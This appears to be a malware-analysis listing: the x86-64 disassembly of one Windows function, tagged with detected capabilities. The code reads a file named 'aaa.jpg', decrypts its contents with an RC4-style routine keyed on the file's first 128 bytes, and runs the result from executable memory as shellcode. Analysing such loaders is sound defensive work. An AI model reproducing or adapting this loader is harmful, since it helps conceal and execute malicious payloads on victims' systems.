Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push rbp
push rbx
push rsi
push r15
lea rbp, [rsp - 0x3f8]
sub rsp, 0x4f8
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
mov ebx, 0x104
lea rdx, [rbp + 0x1d0]
xor esi, esi
mov r8d, ebx
xor ecx, ecx
mov dword [rsp + 0x40], esi
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [rsi + 0x5c]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
test rax, rax
je 0x140001071
lea rcx, [rax + 2]
mov rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], si
jne 0x140001063
sub rbx, rax
jmp 0x140001078
lea rcx, [rbp + 0x1d0]
lea r8, str.aaa.jpg
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp + 0x1d0]
mov edx, 0x10000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x1400012c7
mov qword [rsp + 0x520], rdi
xor edx, edx
mov qword [rsp + 0x528], r12
mov rcx, rax
mov qword [rsp + 0x530], r13
mov qword [rsp + 0x4f0], r14
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor ecx, ecx
mov edx, eax
mov r8d, 0x1000
mov ebx, eax
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r13d, [rbx - 0x80]
mov r9d, 0x40
mov edx, r13d
mov r8d, 0x1000
xor ecx, ecx
mov r14d, r13d
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rsi
mov r8d, ebx
mov rdx, rdi
mov rcx, r15
mov r12, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [rdi]
lea rdx, [rdi + 0x80]
mov r8d, r13d
movups xmm1, xmmword [rdi + 0x10]
mov rcx, r12
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [rdi + 0x20]
movaps xmmword [rsp + 0x60], xmm1
movups xmm1, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rdi + 0x40]
movaps xmmword [rbp - 0x80], xmm1
movups xmm1, xmmword [rdi + 0x50]
movaps xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [rdi + 0x60]
movaps xmmword [rbp - 0x60], xmm1
movups xmm1, xmmword [rdi + 0x70]
movaps xmmword [rbp - 0x50], xmm0
movaps xmmword [rbp - 0x40], xmm1
call sub.VCRUNTIME140.dll_memcpy
mov edi, pe_nt_image_headers64
lea rcx, [rbp + 0xd0]
mov r8d, edi
xor edx, edx
mov ebx, esi
call sub.VCRUNTIME140.dll_memset
mov r8d, edi
lea rcx, [rbp - 0x30]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov edx, esi
nop word [rax + rax]
mov ecx, edx
mov eax, edx
and eax, 0x7f
mov byte [rbp + rcx - 0x30], dl
inc edx
movzx eax, byte [rsp + rax + 0x50]
mov byte [rbp + rcx + 0xd0], al
cmp edx, edi
jl 0x1400011d0
mov rdx, rsi
movzx eax, byte [rbp + rdx + 0xd0]
movzx r8d, byte [rbp + rdx - 0x30]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x140001215
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rbp - 0x30]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rbp + rdx - 0x30], al
inc rdx
mov byte [rcx], r8b
sub rdi, 1
jne 0x1400011f0
mov rdi, qword [rsp + 0x520]
test r13d, r13d
mov r13, qword [rsp + 0x530]
mov eax, esi
je 0x1400012b4
mov r8, r12
nop dword [rax]
lea ecx, [rsi + 1]
and ecx, 0x800000ff
jge 0x140001265
dec ecx
or ecx, 0xffffff00
inc ecx
movsxd rsi, ecx
lea r9, [rbp - 0x30]
movzx r10d, byte [r9 + rsi]
add eax, r10d
and eax, 0x800000ff
jge 0x140001284
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea rdx, [rbp - 0x30]
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [r9 + rsi], cl
mov byte [rdx], r10b
movzx edx, byte [r9 + rsi]
add rdx, r10
movzx ecx, dl
movzx edx, byte [rbp + rcx - 0x30]
xor byte [r8], dl
inc r8
sub r14, 1
jne 0x140001250
call r12
mov r14, qword [rsp + 0x4f0]
mov r12, qword [rsp + 0x528]
xor eax, eax
mov rcx, qword [rbp + 0x3e0]
xor rcx, rsp
call fcn.140001300
add rsp, 0x4f8
pop r15
pop rsi
pop rbx
pop rbp
ret